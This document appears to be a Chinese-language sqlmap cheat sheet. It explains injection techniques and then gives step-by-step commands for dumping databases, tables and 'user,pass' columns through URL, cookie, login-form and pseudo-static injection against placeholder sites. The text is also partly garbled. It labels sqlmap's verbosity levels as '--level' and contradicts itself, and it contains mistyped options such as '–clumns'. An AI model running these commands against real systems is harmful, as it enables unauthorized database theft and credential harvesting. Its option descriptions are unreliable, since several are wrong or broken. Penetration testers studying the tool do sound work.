1.sqlmap支持的注入模式
sqlmap支持五种不同的注入模式: 1、基于布尔的盲注: 即可以根据返回页面判断条件真假的注入。 2、基于时间的盲注: 即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。 3、基于报错注入: 即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。 4、联合查询注入: 可以使用union的情况下的注入。 5、堆查询注入: 可以同时执行多条语句的执行时的注入。
2.sqlmap支持注入的数据库
MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB
3.注入的一个流程
给sqlmap一个url的时候,它会:
1、判断可注入的参数 2、判断可以用那种SQL注入技术来注入 3、识别出哪种数据库 4、根据用户选择,读取哪些数据
url可以提供一个简单的URL,Burp或WebScarab请求日志文件,文本文档中的完整http请求或者Google的搜索,匹配出结果页面,也可以自己定义一个正则来判断那个地址去测试。测试GET参数,POST参数,HTTP Cookie参数,HTTP User-Agent头和HTTP Referer头来确认是否有SQL注入,它也可以指定用逗号分隔的列表的具体参数来测试。 还可以设定HTTP(S)请求的并发数,来提高盲注时的效率。
4.sqlmap运行的级别–level sqlmap中共有七个等级,默认等级为1 0、只显示Python错误以及严重的信息。 1、同时显示基本信息和警告信息。(默认) 2、同时显示debug信息。 3、同时显示注入的payload。 4、同时显示HTTP请求。 5、同时显示HTTP响应头。 6、同时显示HTTP响应页面。
等级是指测试结果的输出的详细程度,根据测试,–level等级的提高得到的效果远比-v等级提高得到的效果好,如果你想看到sqlmap发送的测试payload最好的等级就是3。
5.对各种注入的一些基本步骤
1.sqlmap注入拖库常用命令
[html] view plain copy print ? sqlmap.py -u “注入地址” -v 1 –dbs // 列举数据库 sqlmap.py -u “注入地址” -v 1 –current-db // 当前数据库 sqlmap.py -u “注入地址” -v 1 –users // 列数据库用户 sqlmap.py -u “注入地址” -v 1 –current-user // 当前用户 sqlmap.py -u “注入地址” -v 1 –tables -D “数据库” // 列举数据库的表名 sqlmap.py -u “注入地址” -v 1 –columns -T “表名” -D “数据库” // 获取表的列名 sqlmap.py -u “注入地址” -v 1 –dump -C “字段,字段” -T “表名” -D “数据库” // 获取表中的数据,包含列2.access注入
[html] view plain copy print ? 1.输入url 2.url –tables 猜表 3 url–columns -T 表名 暴字段 4.url –dump(脱裤) -T 表名 -C ”字段名” 暴内容3.mysql注入
[html] view plain copy print ? url –current-db当前库 url –current-user当前用户 url –dbs 获得数据库 url -D 数据库 –tables 获得表 url -D 数据库 -T 表名 –columns 暴字段 url -D 数据库 -T 表名 -C 字段 –dump 暴内容4.cookie注入
[html] view plain copy print ? url –cookie ”id=” –table –level 2 暴表 url –cookie ”id=” –columns -T 表名 –level 2 获得字段 url –cookie ”id=“ –dump -T 表名 -C ”字段名” –level 2 获得内容5.POST登陆框注入 注入点: http://xxx.xxx.com/Login.asp
注入方式一: 1.对着注入点使用burp抓包,保存txt格式文件。 2.输入命令:sqlmap.py -r search-test.txt -p tfUPass
注入方式二:自动搜索表单的方式
[html] view plain copy print ? sqlmap -u http://www.xxx.com/Login.asp –forms注入方式三:指定一个参数的方法
[html] view plain copy print ? sqlmap -u http://www.xxx.com/Login.asp –data ”tfUName=1&tfUPass=1“6.cookie注入 单个注入
[html] view plain copy print ? sqlmap -u “http://www.xxx.com/index.php” –cookie “id=1″ –dbs –level 2 sqlmap -u “http://www.xxx.com/index.php” –cookie “id=” –clumns -T 表段 –level 2 sqlmap -u “http://www.xxx.com/index.php” –cookie “id=” –dump -T 表段 -C “user,pass” –level 27.伪静态注入 目标站点:http://www.xxxx.com/id/3-1.html
[html] view plain copy print ? sqlmap -u www.xxxx.com/id/3*.html –dbs8.请求延时注入
[html] view plain copy print ? sqlmap –dbs -u usr –delay 1(时间,可随意) sqlmap –dbs -u usr –safe-freq 1(次数,可随意)